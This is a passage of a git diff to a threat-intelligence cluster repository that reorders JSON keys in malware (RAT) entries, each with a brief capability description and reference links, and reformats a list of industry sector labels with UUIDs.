+ "description": "ARS VBS Loader not only downloads and executes malicious code, but also includes a command and control application written in PHP that allows a botmaster to issue commands to a victim's machine. This behavior likens ARS VBS Loader to a remote access Trojan (RAT), giving it behavior and capabilities rarely seen in malicious \"loaders\".",
"meta": {
"refs": [
"https://www.flashpoint-intel.com/blog/meet-ars-vbs-loader/"
]
},
- "description": "ARS VBS Loader not only downloads and executes malicious code, but also includes a command and control application written in PHP that allows a botmaster to issue commands to a victim's machine. This behavior likens ARS VBS Loader to a remote access Trojan (RAT), giving it behavior and capabilities rarely seen in malicious \"loaders\".",
- "value": "ARS VBS Loader",
- "uuid": "cd6527d1-17a7-4825-8b4b-56e113d0efb1"
+ "uuid": "cd6527d1-17a7-4825-8b4b-56e113d0efb1",
+ "value": "ARS VBS Loader"
},
{
+ "description": "RadRAT, its capabilities include: unfettered control of the compromised computer, lateral movement across the organization (Mimikatz-like credentials harvesting, NTLM hash harvesting from the Windows registry and implementation of the Pass-the-Hash attack on SMB connections) and rootkit-like detection-evasion mechanisms.",
"meta": {
"refs": [
"https://labs.bitdefender.com/2018/04/radrat-an-all-in-one-toolkit-for-complex-espionage-ops/",
"https://labs.bitdefender.com/wp-content/uploads/downloads/radrat-an-all-in-one-toolkit-for-complex-espionage-ops/"
]
},
- "description": "RadRAT, its capabilities include: unfettered control of the compromised computer, lateral movement across the organization (Mimikatz-like credentials harvesting, NTLM hash harvesting from the Windows registry and implementation of the Pass-the-Hash attack on SMB connections) and rootkit-like detection-evasion mechanisms.",
- "value": "RadRAT",
- "uuid": "5a3df9d7-82de-445e-a218-406b970600d7"
+ "uuid": "5a3df9d7-82de-445e-a218-406b970600d7",
+ "value": "RadRAT"
},
{
+ "description": "FlawedAmmyy, has been used since the beginning of 2016 in both highly targeted email attacks as well as massive, multi-million message campaigns. The RAT is based on leaked source code for Version 3 of the Ammyy Admin remote desktop software. As such FlawedAmmyy contains the functionality of the leaked version, including: Remote Desktop control, File system manager, Proxy support, Audio Chat.",
"meta": {
"refs": [
"https://www.proofpoint.com/us/threat-insight/post/leaked-source-code-ammyy-admin-turned-flawedammyy-rat"
]
},
- "description": "FlawedAmmyy, has been used since the beginning of 2016 in both highly targeted email attacks as well as massive, multi-million message campaigns. The RAT is based on leaked source code for Version 3 of the Ammyy Admin remote desktop software. As such FlawedAmmyy contains the functionality of the leaked version, including: Remote Desktop control, File system manager, Proxy support, Audio Chat.",
- "value": "FlawedAmmyy",
- "uuid": "3c1003a2-8364-467a-b9b8-fcc19724a9b5"
+ "uuid": "3c1003a2-8364-467a-b9b8-fcc19724a9b5",
+ "value": "FlawedAmmyy"
},
{
+ "description": "Monitoring Software",
"meta": {
"refs": [
"https://www.spymasterpro.com/",
@@ -2479,65 +2485,59 @@
]
},
"uuid": "e9f9d900-4f9a-11e8-bce9-4bfbb0e9ab4c",
- "value": "Spymaster Pro",
- "description": "Monitoring Software"
+ "value": "Spymaster Pro"
},
{
+ "description": "Classic RAT that can download, upload, execute commands on the victim host and perform keylogging. However, the command and control (C2) infrastructure is very specific. It uses the legitimate Naver email platform in order to communicate with the attackers via email",
"meta": {
"refs": [
"https://blog.talosintelligence.com/2018/05/navrat.html"
]
},
- "description": "Classic RAT that can download, upload, execute commands on the victim host and perform keylogging. However, the command and control (C2) infrastructure is very specific. It uses the legitimate Naver email platform in order to communicate with the attackers via email",
- "value": "NavRAT",
- "uuid": "6ea032a0-d54a-463b-b016-2b7b9b9a5b7e"
+ "uuid": "6ea032a0-d54a-463b-b016-2b7b9b9a5b7e",
+ "value": "NavRAT"
},
{
+ "description": "Joanap is a two-stage malware used to establish peer-to-peer communications and to manage botnets designed to enable other operations. Joanap malware provides HIDDEN COBRA actors with the ability to exfiltrate data, drop and run secondary payloads, and initialize proxy communications on a compromised Windows device. ",
"meta": {
"refs": [
"https://www.us-cert.gov/ncas/alerts/TA18-149A"
]
},
- "description": "Joanap is a two-stage malware used to establish peer-to-peer communications and to manage botnets designed to enable other operations. Joanap malware provides HIDDEN COBRA actors with the ability to exfiltrate data, drop and run secondary payloads, and initialize proxy communications on a compromised Windows device. ",
- "value": "joanap",
- "uuid": "caac1aa2-6982-11e8-8107-a331ae3511e7"
+ "uuid": "caac1aa2-6982-11e8-8107-a331ae3511e7",
+ "value": "joanap"
},
{
+ "description": "Sisfader maintains persistence installing itself as a system service, it is made up of multiple components ([1] Dropper - installing the malware, [2] Agent - main code of the RAT, [3] Config - written to the registry, [4] Auto Loader - responsible for extracting the Agent, the Config from the registry) and it has its own custom protocol for communication.",
"meta": {
"refs": [
"https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/june/cve-2017-8750-rtf-and-the-sisfader-rat/"
]
},
- "description": "Sisfader maintains persistence installing itself as a system service, it is made up of multiple components ([1] Dropper - installing the malware, [2] Agent - main code of the RAT, [3] Config - written to the registry, [4] Auto Loader - responsible for extracting the Agent, the Config from the registry) and it has its own custom protocol for communication.",
- "value": "Sisfader",
- "uuid": "b533439d-b060-4c90-80e0-9dce67b0c6fb"
+ "uuid": "b533439d-b060-4c90-80e0-9dce67b0c6fb",
+ "value": "Sisfader"
},
{
+ "description": "The RAT is written in .NET, it uses socket.io for communication. Currently there are two variants of the malware, the 1st variant is a typical downloader whereas the 2nd one has download and C2 functionalities.",
"meta": {
"refs": [
"https://file.gdatasoftware.com/web/en/documents/whitepaper/G_DATA_SocketPlayer_Analysis.pdf",
"https://volon.io/2018/06/targeted-attack-on-indian-defense-officials-using-socketplayer-malware/"
]
},
- "description": "The RAT is written in .NET, it uses socket.io for communication. Currently there are two variants of the malware, the 1st variant is a typical downloader whereas the 2nd one has download and C2 functionalities.",
- "value": "SocketPlayer",
- "uuid": "d9475765-2cea-45c0-b638-a082b9427239"
+ "uuid": "d9475765-2cea-45c0-b638-a082b9427239",
+ "value": "SocketPlayer"
},
{
- "value": "Hallaj PRO RAT",
"description": "RAT",
- "uuid": "f6447046-f4e8-4977-9cc3-edee74ff0038",
"meta": {
"refs": [
"https://securelist.com/attacks-on-industrial-enterprises-using-rms-and-teamviewer/87104/"
]
- }
+ },
+ "uuid": "f6447046-f4e8-4977-9cc3-edee74ff0038",
+ "value": "Hallaj PRO RAT"
}
],
- "authors": [
- "Various",
- "raw-data"
- ],
- "type": "rat",
- "name": "RAT"
+ "version": 12
}
diff --git a/clusters/sector.json b/clusters/sector.json
index 34edd92..daf48a3 100644
--- a/clusters/sector.json
+++ b/clusters/sector.json
@@ -1,489 +1,489 @@
{
- "values": [
- {
- "value": "Unknown",
- "uuid": "3ff4e243-7e26-4535-b911-fdda2f724aa2"
- },
- {
- "value": "Other",
- "uuid": "03655488-3d11-4fbf-8fe6-6148aaa01b83"
- },
- {
- "value": "Academia - University",
- "uuid": "98821a86-3c11-474b-afab-3c84af061407"
- },
- {
- "value": "Activists",
- "uuid": "0a62f502-0a51-44ac-82a3-0a965b98c7a9"
- },
- {
- "value": "Aerospace",
- "uuid": "12f90076-f03d-4a2d-9f33-7a274dc462bb"
- },
- {
- "value": "Agriculture",
- "uuid": "e2214f48-0cdd-4110-ba59-e703282adf2c"
- },
- {
- "value": "Arts",
- "uuid": "b5283132-9245-4a5f-b4bc-1937fd80d80a"
- },
- {
- "value": "Bank",
- "uuid": "19cc9f22-e682-4808-a96c-82e573703dff"
- },
- {
- "value": "Chemical",
- "uuid": "306f828d-8eb8-4adb-bee9-3211bf2a4ff7"
- },
- {
- "value": "Citizens",
- "uuid": "f50c1d4d-9d7c-4076-b5d4-e86dd5de4628"
- },
- {
- "value": "Civil Aviation",
- "uuid": "ed13b6c9-c32c-4a58-82a7-ce64dc7fa086"
- },
- {
- "value": "Country",
- "uuid": "89e7e93a-394f-48e3-ba70-501df2f010c0"
- },
- {
- "value": "Culture",
- "uuid": "8c645d4e-8fcc-48a8-9656-5135cfbc10a6"
- },
- {
- "value": "Data Broker",
- "uuid": "0a2c80eb-ae5d-4d5e-b6fd-2703bc6a750d"
- },
- {
- "value": "Defense",
- "uuid": "9df5fb28-2298-4030-9db3-8cdef35bee14"
- },
- {
- "value": "Development",
- "uuid": "96b329b2-2f04-4ce7-8ef2-bf3d898028c9"
- },
- {
- "value": "Diplomacy",
- "uuid": "33cbaf17-7600-47f7-87c7-39640874a1b4"
- },
- {
- "value": "Education",
- "uuid": "19eca562-123d-449b-af33-5a36e5279b12"
- },
- {
- "value": "Electric",
- "uuid": "ac2dad84-5194-41bb-9edd-aad8d42f828f"
- },
- {
- "value": "Electronic",
- "uuid": "04e0eef9-d7e8-4280-86bb-cc9897be8e08"
- },
- {
- "value": "Employment",
- "uuid": "474e6647-ff06-4a9b-8061-a1a43baf8b15"
- },
- {
- "value": "Energy",
- "uuid": "3a94474b-7e23-4e06-9129-faea7ef55af8"
- },
- {
- "value": "Entertainment",
- "uuid": "beb9d5d6-53df-4e99-8fa8-e52880fbe740"
- },
- {
- "value": "Environment",
- "uuid": "8291a998-e888-4351-87ec-c6da6b06bff6"
- },
- {
- "value": "Finance",
- "uuid": "75597b7f-54e8-4f14-88c9-e81485ece483"
- },
- {
- "value": "Food",
- "uuid": "9ade7eff-e2ce-4f05-85de-bb6b70444db4"
- },
- {
- "value": "Game",
- "uuid": "64493b1b-04eb-4f4d-94c7-65c3713131de"
- },
- {
- "value": "Gas",
- "uuid": "851c28c6-2e80-4d63-959b-44037931175b"
- },
- {
- "value": "Government, Administration",
- "uuid": "6012ecea-dcc8-490c-b368-e2e06b2cb62f"
- },
- {
- "value": "Health",
- "uuid": "4649fe79-cb8f-4aa3-b3e0-e67d4161fcb0"
- },
- {
- "value": "Higher education",
- "uuid": "b822d660-fad3-40da-b4db-9bbf8fe23b27"
- },
- {
- "value": "Hotels",
- "uuid": "909f4de6-91ea-44b6-9c8f-5983fd4877c2"
- },
- {
- "value": "Infrastructure",
- "uuid": "641af156-12d0-4fb4-b89d-971cd454914f"
- },
- {
- "value": "Intelligence",
- "uuid": "7aeb79bf-cc1a-49b5-b2ec-5b1fe4a7e295"
- },
- {
- "value": "IT",
- "uuid": "3f18e5e7-c77d-4890-9d09-412a39a822e5"
- },
- {
- "value": "IT - Hacker",
- "uuid": "342d0a71-584c-4e3f-9b2d-1dc5b5e53e97"
- },
- {
- "value": "IT - ISP",
- "uuid": "872de996-e069-4cd9-b227-d5ca01dc020c"
- },
- {
- "value": "IT - Security",
- "uuid": "6d9dbde3-25de-48b9-ab98-361c4211e6be"
- },
- {
- "value": "Justice",
- "uuid": "784e59ae-89bb-4bc8-82c8-7fab6ca5fb8a"
- },
- {
- "value": "Manufacturing",
- "uuid": "5cacd8fb-a3d4-4ed7-84b5-d69378038591"
- },
- {
- "value": "Maritime",
- "uuid": "82ac6245-8691-4216-a6dd-8c99ebb8ce51"
- },
- {
- "value": "Military",
- "uuid": "5aec0d78-53b2-4fcf-b165-537494b866e4"
- },
- {
- "value": "Multi-sector",
- "uuid": "e10093ef-ccbf-4c24-9093-61e856c05ccd"
- },
- {
- "value": "News - Media",
- "uuid": "a0499041-2b4e-43aa-8fe3-04c2de23abdd"
- },
- {
- "value": "NGO",
- "uuid": "d2f31b1f-a9b1-4f5b-b2b3-1aa2732a0608"
- },
- {
- "value": "Oil",
- "uuid": "5875cc3f-d0a5-445e-abb2-08411fc82522"
- },
- {
- "value": "Payment",
- "uuid": "0d688425-afb5-4f71-8b5a-f9be7d2d1551"
- },
- {
- "value": "Pharmacy",
- "uuid": "8d7aa230-d07f-46e8-a099-6f1753793b84"
- },
- {
- "value": "Police - Law enforcement",
- "uuid": "36432a96-225a-4c90-b0f5-44eaee45e306"
- },
- {
- "value": "Research - Innovation",
- "uuid": "738939b4-c93f-4972-938a-7eb1f60188b9"
- },
- {
- "value": "Satellite navigation",
- "uuid": "40082760-ed9e-4fcb-8bfa-2341d81d5e22"
- },
- {
- "value": "Security systems",
- "uuid": "23429f36-298a-4ac6-8db9-87223bef9cbf"
- },
- {
- "value": "Social networks",
- "uuid": "61809257-9f13-4910-b824-f483c4334bb5"
- },
- {
- "value": "Space",
- "uuid": "595be3ad-bfb3-4bea-b81a-2fef618a1075"
- },
- {
- "value": "Steel",
- "uuid": "cdc8b76f-a8df-4d30-81c1-bdb4935c718d"
- },
- {
- "value": "Telecoms",
- "uuid": "0de938bd-4efa-4c7a-9244-71a79317d142"
- },
- {
- "value": "Think Tanks",
- "uuid": "3c70895b-573b-450c-ad0a-98b0e1a9741e"
- },
- {
- "value": "Trade",
- "uuid": "4fef12b1-0bee-4855-81fb-9b7d2c5a1dec"
- },
- {
- "value": "Transport",
- "uuid": "e93eb8db-72b1-4407-be3e-8cfea8f9efee"
- },
- {
- "value": "Travel",
- "uuid": "33a4f4fe-9bc3-4d43-b5ab-64fcc35882cf"
- },
- {
- "value": "Turbine",
- "uuid": "69b8bfcd-600e-45d8-962a-ce09ed0914ab"
- },
- {
- "value": "Tourism",
- "uuid": "bf0753fd-cb62-440d-a2c5-1adfb037676e"
- },
- {
- "value": "Life science",
- "uuid": "87eae00d-b973-46db-83a2-1f520aebcd44"
- },
- {
- "value": "Biomedical",
- "uuid": "58282b0e-10d4-4294-8845-6f41a1e79730"
- },
- {
- "value": "High tech",
- "uuid": "cd4dfa11-5f4a-4d02-a2cc-35603261e631"
- },
- {
- "value": "Opposition",
- "uuid": "18daafae-a923-4cf5-bf87-d8b35dd297e2"
- },
- {
- "value": "Political party",
- "uuid": "a93f281c-1fb4-471d-88ba-dfe5f3af13ff"
- },
- {
- "value": "Hospitality",
- "uuid": "d1aa1165-981a-4d9f-aece-c130c5034e1b"
- },
- {
- "value": "Automotive",
- "uuid": "79e7755d-d7fa-4bbc-b956-e296c614745e"
- },
- {
- "value": "Metal",
- "uuid": "3a7dae7d-2590-4e80-9c13-c22048a09f8a"
- },
- {
- "value": "Railway",
- "uuid": "02847338-fe03-4073-9f5b-c6fedc244b04"
- },
- {
- "value": "Water",
- "uuid": "26282f7e-8db4-4369-8af1-3981f6a93350"
- },
- {
- "value": "Smart meter",
- "uuid": "62487559-c0e5-4250-af48-d43fa2e61b82"
- },
- {
- "value": "Retai",
- "uuid": "a26ae91b-df10-4c6f-b7bc-14c7ba13f21d"
- },
- {
- "value": "Retail",
- "uuid": "6ce2374c-2c81-4298-a941-666bf4258c00"
- },
- {
- "value": "Technology",
- "uuid": "ff403f0f-67d0-494c-aff9-1d748b7e7d8d"
- },
- {
- "value": "engineering",
- "uuid": "e07cd84c-1d66-4de3-8b93-15fa93f119cc"
- },
- {
- "value": "Mining",
- "uuid": "7508db07-ffd1-4137-9941-718f18370c4c"
- },
- {
- "value": "Sport",
- "uuid": "e8355f07-48c7-497b-9a14-3c2a6325ef3d"
- },
- {
- "value": "Restaurant",
- "uuid": "5eee85f4-f8dc-4dea-9ba2-af1e9f957097"
- },
- {
- "value": "Semi-conductors",
- "uuid": "5b9bb2f4-3e03-46b9-ab65-a7f99b726a32"
- },
- {
- "value": "Insurance",
- "uuid": "c4f35266-0f80-4948-9c0a-f4681ed0d507"
- },
- {
- "value": "Legal",
- "uuid": "94a7ffd4-d2e4-4324-be71-f274e84de089"
- },
- {
- "value": "Shipping",
- "uuid": "64483d7b-71a4-4130-803e-2c614a098d8b"
- },
- {
- "value": "Logistic",
- "uuid": "934bc859-ebc4-48d7-adb7-5accd4f0f965"
- },
- {
- "value": "Construction",
- "uuid": "4b5c230d-70b8-4748-a27c-bec121c436d8"
- },
- {
- "value": "Industrial",
- "uuid": "3153215a-784d-478e-a147-3410a5b43b39"
- },
- {
- "value": "Communication equipment",
- "uuid": "f4e11fd2-f2a2-4d09-8ed4-7ef978ccc03b"
- },
- {
- "value": "Security Service",
- "uuid": "886e517c-0331-445e-9c4b-ebe08aeb01cd"
- },
- {
- "value": "Tax firm",
- "uuid": "138159c5-0b29-46a5-91e2-fe01f7e7111d"
- },
- {
- "value": "Television broadcast",
- "uuid": "13fe4a5d-8d86-4875-b763-02bc5705810f"
- },
- {
- "value": "Separatists",
- "uuid": "d6335a0a-dfa2-4150-804b-86d06139e38a"
- },
- {
- "value": "Dissidents",
- "uuid": "c2f32e7c-6162-4999-ac3b-356007446d18"
- },
- {
- "value": "Digital services",
- "uuid": "5a9da7ef-57b8-4a22-88be-b8b6556fd447"
- },
- {
- "value": "Digital infrastructure",
- "uuid": "a10c2362-3ee9-4741-b5a5-c2fd1c7c730f"
- },
- {
- "value": "Security actors",
- "uuid": "0904672b-c18a-450e-88d6-6a94dd0eb25a"
- },
- {
- "value": "eCommerce",
- "uuid": "7e1ec8ba-24c4-4ad4-a596-7532ecbd0fbd"
- },
- {
- "value": "Islamic forums",
- "uuid": "c529331a-e2a9-4ba9-bb92-d4f88ae3704b"
- },
- {
- "value": "Journalist",
- "uuid": "ea95dce2-c2fc-48cb-95c7-d9200811f030"
- },
- {
- "value": "Streaming service",
- "uuid": "2287c024-9643-43ef-8776-858d3994b9ac"
- },
- {
- "value": "Puplishing industry",
- "uuid": "97e018e8-e03b-48ff-8add-1059f035069a"
- },
- {
- "value": "Publishing industry",
- "uuid": "867cbcb3-8baa-476f-bec5-ceb36e9b1e09"
- },
- {
- "value": "Islamic organisation",
- "uuid": "3929f589-ac94-4a6a-8360-122e06484db8"
- },
- {
- "value": "Casino",
- "uuid": "2e7ad54f-7637-4268-a9b9-cb2975d6bab9"
- },
- {
- "value": "Consulting",
- "uuid": "87ad7866-bdfa-4a22-a4f3-c411fecb1d0d"
- },
- {
- "value": "Online marketplace",
- "uuid": "737a196b-7bab-460b-b199-d6626fca1af1"
- },
- {
- "value": "DNS service provider",
- "uuid": "e48c0afc-afab-4ced-9a8b-a28d4a2efa08"
- },
- {
- "value": "Veterinary",
- "uuid": "4bc73e7c-d174-4faf-9176-d0ccc8ccfbbf"
- },
- {
- "value": "Marketing",
- "uuid": "ee5720bb-c638-46f8-bdf2-55579bf37eb2"
- },
- {
- "value": "Video Sharing",
- "uuid": "55d12d41-c558-4cdf-b2c5-f246403ca68f"
- },
- {
- "value": "Advertising",
- "uuid": "b018010e-272e-4ca9-8551-073618d7f2ad"
- },
- {
- "value": "Investment",
- "uuid": "40d66f31-36c2-42ff-97c6-97b34b5ce04e"
- },
- {
- "value": "Accounting",
- "uuid": "6edffd60-443c-4238-b368-362b47340d8b"
- },
- {
- "value": "Programming",
- "uuid": "855f40e1-074e-4818-8082-696a54adf13f"
- },
- {
- "value": "Managed Services Provider",
- "uuid": "f9260307-f792-4e60-8aa5-e2b4f84adadb"
- },
- {
- "value": "Lawyers",
- "uuid": "56eee132-fc01-410c-ada0-44d713443bf2"
- },
- {
- "value": "Civil society",
- "uuid": "9c1f6a5b-d9de-4cce-a024-7437cb20e24e"
- },
- {
- "value": "Petrochemical",
- "uuid": "1f1c762b-1e39-4989-8679-cc1f9cb08349"
- },
- {
- "value": "Immigration",
- "uuid": "bfd171a5-33f5-4c79-81c5-3dda99dae559"
- }
- ],
- "version": 1,
- "uuid": "141deecc-ae4e-11e7-8dfe-f3397ba8cc8",
- "description": "Activity sectors",
"authors": [
"Various"
],
+ "description": "Activity sectors",
+ "name": "Sector",
"source": "CERT-EU",
"type": "sector",
- "name": "Sector"
+ "uuid": "141deecc-ae4e-11e7-8dfe-f3397ba8cc8",
+ "values": [
+ {
+ "uuid": "3ff4e243-7e26-4535-b911-fdda2f724aa2",
+ "value": "Unknown"
+ },
+ {
+ "uuid": "03655488-3d11-4fbf-8fe6-6148aaa01b83",
+ "value": "Other"
+ },
+ {
+ "uuid": "98821a86-3c11-474b-afab-3c84af061407",
+ "value": "Academia - University"
+ },
+ {
+ "uuid": "0a62f502-0a51-44ac-82a3-0a965b98c7a9",
+ "value": "Activists"
+ },
+ {
+ "uuid": "12f90076-f03d-4a2d-9f33-7a274dc462bb",
+ "value": "Aerospace"
+ },
+ {
+ "uuid": "e2214f48-0cdd-4110-ba59-e703282adf2c",
+ "value": "Agriculture"
+ },
+ {
+ "uuid": "b5283132-9245-4a5f-b4bc-1937fd80d80a",
+ "value": "Arts"
+ },
+ {
+ "uuid": "19cc9f22-e682-4808-a96c-82e573703dff",
+ "value": "Bank"
+ },
+ {
+ "uuid": "306f828d-8eb8-4adb-bee9-3211bf2a4ff7",
+ "value": "Chemical"
+ },
+ {
+ "uuid": "f50c1d4d-9d7c-4076-b5d4-e86dd5de4628",
+ "value": "Citizens"
+ },
+ {
+ "uuid": "ed13b6c9-c32c-4a58-82a7-ce64dc7fa086",
+ "value": "Civil Aviation"
+ },
+ {
+ "uuid": "89e7e93a-394f-48e3-ba70-501df2f010c0",
+ "value": "Country"
+ },
+ {
+ "uuid": "8c645d4e-8fcc-48a8-9656-5135cfbc10a6",
+ "value": "Culture"
+ },
+ {
+ "uuid": "0a2c80eb-ae5d-4d5e-b6fd-2703bc6a750d",
+ "value": "Data Broker"
+ },
+ {
+ "uuid": "9df5fb28-2298-4030-9db3-8cdef35bee14",
+ "value": "Defense"
+ },
+ {
+ "uuid": "96b329b2-2f04-4ce7-8ef2-bf3d898028c9",
+ "value": "Development"
+ },
+ {
+ "uuid": "33cbaf17-7600-47f7-87c7-39640874a1b4",
+ "value": "Diplomacy"
+ },
+ {
+ "uuid": "19eca562-123d-449b-af33-5a36e5279b12",
+ "value": "Education"
+ },
+ {
+ "uuid": "ac2dad84-5194-41bb-9edd-aad8d42f828f",
+ "value": "Electric"
+ },
+ {
+ "uuid": "04e0eef9-d7e8-4280-86bb-cc9897be8e08",
+ "value": "Electronic"
+ },
+ {
+ "uuid": "474e6647-ff06-4a9b-8061-a1a43baf8b15",
+ "value": "Employment"
+ },
+ {
+ "uuid": "3a94474b-7e23-4e06-9129-faea7ef55af8",
+ "value": "Energy"
+ },
+ {
+ "uuid": "beb9d5d6-53df-4e99-8fa8-e52880fbe740",
+ "value": "Entertainment"
+ },
+ {
+ "uuid": "8291a998-e888-4351-87ec-c6da6b06bff6",
+ "value": "Environment"
+ },
+ {
+ "uuid": "75597b7f-54e8-4f14-88c9-e81485ece483",
+ "value": "Finance"
+ },
+ {
+ "uuid": "9ade7eff-e2ce-4f05-85de-bb6b70444db4",
+ "value": "Food"
+ },
+ {
+ "uuid": "64493b1b-04eb-4f4d-94c7-65c3713131de",
+ "value": "Game"
+ },
+ {
+ "uuid": "851c28c6-2e80-4d63-959b-44037931175b",
+ "value": "Gas"
+ },
+ {
+ "uuid": "6012ecea-dcc8-490c-b368-e2e06b2cb62f",
+ "value": "Government, Administration"
+ },
+ {
+ "uuid": "4649fe79-cb8f-4aa3-b3e0-e67d4161fcb0",
+ "value": "Health"
+ },
+ {
+ "uuid": "b822d660-fad3-40da-b4db-9bbf8fe23b27",
+ "value": "Higher education"
+ },
+ {
+ "uuid": "909f4de6-91ea-44b6-9c8f-5983fd4877c2",
+ "value": "Hotels"
+ },
+ {
+ "uuid": "641af156-12d0-4fb4-b89d-971cd454914f",
+ "value": "Infrastructure"
+ },
+ {
+ "uuid": "7aeb79bf-cc1a-49b5-b2ec-5b1fe4a7e295",
+ "value": "Intelligence"
+ },
+ {
+ "uuid": "3f18e5e7-c77d-4890-9d09-412a39a822e5",
+ "value": "IT"
+ },
+ {
+ "uuid": "342d0a71-584c-4e3f-9b2d-1dc5b5e53e97",
+ "value": "IT - Hacker"
+ },
+ {
+ "uuid": "872de996-e069-4cd9-b227-d5ca01dc020c",
+ "value": "IT - ISP"
+ },
+ {
+ "uuid": "6d9dbde3-25de-48b9-ab98-361c4211e6be",
+ "value": "IT - Security"
+ },
+ {
+ "uuid": "784e59ae-89bb-4bc8-82c8-7fab6ca5fb8a",
+ "value": "Justice"
+ },
+ {
+ "uuid": "5cacd8fb-a3d4-4ed7-84b5-d69378038591",
+ "value": "Manufacturing"
+ },
+ {
+ "uuid": "82ac6245-8691-4216-a6dd-8c99ebb8ce51",
+ "value": "Maritime"
+ },
+ {
+ "uuid": "5aec0d78-53b2-4fcf-b165-537494b866e4",
+ "value": "Military"
+ },
+ {
+ "uuid": "e10093ef-ccbf-4c24-9093-61e856c05ccd",
+ "value": "Multi-sector"
+ },
+ {
+ "uuid": "a0499041-2b4e-43aa-8fe3-04c2de23abdd",
+ "value": "News - Media"
+ },
+ {
+ "uuid": "d2f31b1f-a9b1-4f5b-b2b3-1aa2732a0608",
+ "value": "NGO"
+ },
+ {
+ "uuid": "5875cc3f-d0a5-445e-abb2-08411fc82522",
+ "value": "Oil"
+ },
+ {
+ "uuid": "0d688425-afb5-4f71-8b5a-f9be7d2d1551",
+ "value": "Payment"
+ },
+ {
+ "uuid": "8d7aa230-d07f-46e8-a099-6f1753793b84",
+ "value": "Pharmacy"
+ },
+ {
+ "uuid": "36432a96-225a-4c90-b0f5-44eaee45e306",
+ "value": "Police - Law enforcement"
+ },
+ {
+ "uuid": "738939b4-c93f-4972-938a-7eb1f60188b9",
+ "value": "Research - Innovation"
+ },
+ {
+ "uuid": "40082760-ed9e-4fcb-8bfa-2341d81d5e22",
+ "value": "Satellite navigation"
+ },
+ {
+ "uuid": "23429f36-298a-4ac6-8db9-87223bef9cbf",
+ "value": "Security systems"
+ },
+ {
+ "uuid": "61809257-9f13-4910-b824-f483c4334bb5",
+ "value": "Social networks"
+ },
+ {
+ "uuid": "595be3ad-bfb3-4bea-b81a-2fef618a1075",
+ "value": "Space"
+ },
+ {
+ "uuid": "cdc8b76f-a8df-4d30-81c1-bdb4935c718d",
+ "value": "Steel"
+ },
+ {
+ "uuid": "0de938bd-4efa-4c7a-9244-71a79317d142",
+ "value": "Telecoms"
+ },
+ {
+ "uuid": "3c70895b-573b-450c-ad0a-98b0e1a9741e",
+ "value": "Think Tanks"
+ },
+ {
+ "uuid": "4fef12b1-0bee-4855-81fb-9b7d2c5a1dec",
+ "value": "Trade"
+ },
+ {
+ "uuid": "e93eb8db-72b1-4407-be3e-8cfea8f9efee",
+ "value": "Transport"
+ },
+ {
+ "uuid": "33a4f4fe-9bc3-4d43-b5ab-64fcc35882cf",
+ "value": "Travel"
+ },
+ {
+ "uuid": "69b8bfcd-600e-45d8-962a-ce09ed0914ab",
+ "value": "Turbine"
+ },
+ {
+ "uuid": "bf0753fd-cb62-440d-a2c5-1adfb037676e",
+ "value": "Tourism"
+ },
+ {
+ "uuid": "87eae00d-b973-46db-83a2-1f520aebcd44",
+ "value": "Life science"
+ },
+ {
+ "uuid": "58282b0e-10d4-4294-8845-6f41a1e79730",
+ "value": "Biomedical"
+ },
+ {
+ "uuid": "cd4dfa11-5f4a-4d02-a2cc-35603261e631",
+ "value": "High tech"
+ },
+ {
+ "uuid": "18daafae-a923-4cf5-bf87-d8b35dd297e2",
+ "value": "Opposition"
+ },
+ {
+ "uuid": "a93f281c-1fb4-471d-88ba-dfe5f3af13ff",
+ "value": "Political party"
+ },
+ {
+ "uuid": "d1aa1165-981a-4d9f-aece-c130c5034e1b",
+ "value": "Hospitality"
+ },
+ {
+ "uuid": "79e7755d-d7fa-4bbc-b956-e296c614745e",
+ "value": "Automotive"
+ },
+ {
+ "uuid": "3a7dae7d-2590-4e80-9c13-c22048a09f8a",
+ "value": "Metal"
+ },
+ {
+ "uuid": "02847338-fe03-4073-9f5b-c6fedc244b04",
+ "value": "Railway"
+ },
+ {
+ "uuid": "26282f7e-8db4-4369-8af1-3981f6a93350",
+ "value": "Water"
+ },
+ {
+ "uuid": "62487559-c0e5-4250-af48-d43fa2e61b82",
+ "value": "Smart meter"
+ },
+ {
+ "uuid": "a26ae91b-df10-4c6f-b7bc-14c7ba13f21d",
+ "value": "Retai"
+ },
+ {
+ "uuid": "6ce2374c-2c81-4298-a941-666bf4258c00",
+ "value": "Retail"
+ },
+ {
+ "uuid": "ff403f0f-67d0-494c-aff9-1d748b7e7d8d",
+ "value": "Technology"
+ },
+ {
+ "uuid": "e07cd84c-1d66-4de3-8b93-15fa93f119cc",
+ "value": "engineering"
+ },
+ {
+ "uuid": "7508db07-ffd1-4137-9941-718f18370c4c",
+ "value": "Mining"
+ },
+ {
+ "uuid": "e8355f07-48c7-497b-9a14-3c2a6325ef3d",
+ "value": "Sport"
+ },
+ {
+ "uuid": "5eee85f4-f8dc-4dea-9ba2-af1e9f957097",
+ "value": "Restaurant"
+ },
+ {
+ "uuid": "5b9bb2f4-3e03-46b9-ab65-a7f99b726a32",
+ "value": "Semi-conductors"
+ },
+ {
+ "uuid": "c4f35266-0f80-4948-9c0a-f4681ed0d507",
+ "value": "Insurance"
+ },
+ {
+ "uuid": "94a7ffd4-d2e4-4324-be71-f274e84de089",
+ "value": "Legal"
+ },
+ {
+ "uuid": "64483d7b-71a4-4130-803e-2c614a098d8b",
+ "value": "Shipping"
+ },
+ {
+ "uuid": "934bc859-ebc4-48d7-adb7-5accd4f0f965",
+ "value": "Logistic"
+ },
+ {
+ "uuid": "4b5c230d-70b8-4748-a27c-bec121c436d8",
+ "value": "Construction"
+ },
+ {
+ "uuid": "3153215a-784d-478e-a147-3410a5b43b39",
+ "value": "Industrial"
+ },
+ {
+ "uuid": "f4e11fd2-f2a2-4d09-8ed4-7ef978ccc03b",
+ "value": "Communication equipment"
+ },
+ {
+ "uuid": "886e517c-0331-445e-9c4b-ebe08aeb01cd",
+ "value": "Security Service"
+ },
+ {
+ "uuid": "138159c5-0b29-46a5-91e2-fe01f7e7111d",
+ "value": "Tax firm"
+ },
+ {
+ "uuid": "13fe4a5d-8d86-4875-b763-02bc5705810f",
+ "value": "Television broadcast"
+ },
+ {
+ "uuid": "d6335a0a-dfa2-4150-804b-86d06139e38a",
+ "value": "Separatists"
+ },
+ {
+ "uuid": "c2f32e7c-6162-4999-ac3b-356007446d18",
+ "value": "Dissidents"
+ },
+ {
+ "uuid": "5a9da7ef-57b8-4a22-88be-b8b6556fd447",
+ "value": "Digital services"
+ },
+ {
+ "uuid": "a10c2362-3ee9-4741-b5a5-c2fd1c7c730f",
